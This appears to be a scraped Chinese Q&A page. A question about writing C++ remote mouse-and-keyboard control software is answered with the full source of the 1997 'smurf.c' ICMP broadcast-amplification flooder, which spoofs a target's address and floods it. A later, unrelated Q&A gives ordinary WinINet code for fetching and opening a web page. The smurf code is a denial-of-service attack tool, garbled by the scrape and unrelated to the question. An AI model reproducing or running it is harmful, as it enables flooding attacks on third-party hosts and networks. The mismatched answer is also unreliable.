怎么用c++写一个远程控制的软件

Posted 2023-04-25

只需要能控制远端的鼠标和键盘就行了
不需要画面回传

参考技术A #include
#include
#include
#include
#include
#include
#include
#include _icmp.h>
#include
#include
#include
#include
#include

void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);

/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";

int main (int argc, char *argv[])

struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);

banner();
signal(SIGINT, ctrlc);

if (argc < 6) usage(argv[0]);

if ((he = gethostbyname(argv[1])) == NULL)
perror("resolving source host");
exit(-1);

memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);

num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL)
perror("opening bcast file");
exit(-1);

x = 0;
while (!feof(bcastfile))
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n') buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;

bcastaddr[x] = 0x0;
fclose(bcastfile);

if (x == 0)
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);

if (pktsize > 1024)
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);


if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
perror("getting socket");
exit(-1);

setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (i = 0; i < num || !num; i++)
if (!(i % 25)) printf("."); fflush(stdout);
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);

puts("\n\n");
return 0;


void banner (void)

puts("\nsmurf.c v4.0 by TFreak\n");


void usage (char *prog)

fprintf(stderr, "usage: %s "
" \n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);


void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)

struct iphdr *ip;
struct icmphdr *icmp;
char *packet;

packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);

sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));

free(packet); /* free willy! */


void ctrlc (int ignored)

puts("\nDone!\n");
exit(1);


unsigned short in_chksum (u_short *addr, int len)

register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1)
sum += *addr++;
nleft -= 2;


if (nleft == 1)
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;


sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
参考技术B 查询MSDN文档，里面有关进程间通讯的部分，postmessage什么的

用c++写一个打开网页的小程序？

RT，就打运行程序之后打的为指定的网页，应该怎么写啊，在线等。。。。

int main()

//CString strResponse = HttpRequest("translate.google.com",80,"/translate_t?langpair=en|zh-CN","POST","hl=zh-CN&ie=UTF-8&text=this is me&langpair=en|zh-CN",strlen("hl=zh-CN&ie=UTF-8&text=this is me&langpair=en|zh-CN"));
std::string strResponse = HttpRequest("

//cout << strResponse.c_str();

FILE * fp;
errno_t t = fopen_s(&fp,"D:\\old.html", "w");

fwrite(strResponse.c_str(),1, strResponse.length(), fp);

fclose(fp);
getchar();
return 0;


或者是

#include "stdafx.h"
#include <windows.h>
#include <iostream>
#include "Wininet.h"
#pragma comment(lib,"Wininet.lib")

using std::cout;
using std::endl;

//模拟浏览器发送HTTP请求函数
std::string HttpRequest(char * lpHostName, short sPort, char * lpUrl, char * lpMethod, char * lpPostData, int nPostDataLen)

HINTERNET hInternet, hConnect, hRequest;

BOOL bRet;

std::string strResponse;

hInternet = NULL;
hConnect = NULL;
hRequest = NULL;

hInternet = (HINSTANCE)InternetOpen("User-Agent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hInternet)
goto Ret0;

hConnect = (HINSTANCE)InternetConnect(hInternet, lpHostName, sPort, NULL, "HTTP/1.1", INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect)
goto Ret0;

hRequest = (HINSTANCE)HttpOpenRequest(hConnect, lpMethod, lpUrl, "HTTP/1.1", NULL, NULL, INTERNET_FLAG_RELOAD, 0);
if (!hRequest)
goto Ret0;

//bRet = HttpAddRequestHeaders(hRequest,"Content-Type: application/x-www-form-urlencoded",Len(FORMHEADERS),HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD);
//if(!bRet)
//goto Ret0;

bRet = HttpSendRequest(hRequest, NULL, 0, lpPostData, nPostDataLen);
while (TRUE)

char cReadBuffer[4096];
unsigned long lNumberOfBytesRead;
bRet = InternetReadFile(hRequest, cReadBuffer, sizeof(cReadBuffer) - 1, &lNumberOfBytesRead);
if (!bRet || !lNumberOfBytesRead)
break;
cReadBuffer[lNumberOfBytesRead] = 0;
strResponse = strResponse + cReadBuffer;


Ret0:
if (hRequest)
InternetCloseHandle(hRequest);
if (hConnect)
InternetCloseHandle(hConnect);
if (hInternet)
InternetCloseHandle(hInternet);

return strResponse;
参考技术A #include"windows.h"
void main()

HWND hWnd=FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hWnd,SW_HIDE);
system("start www.baidu.com");

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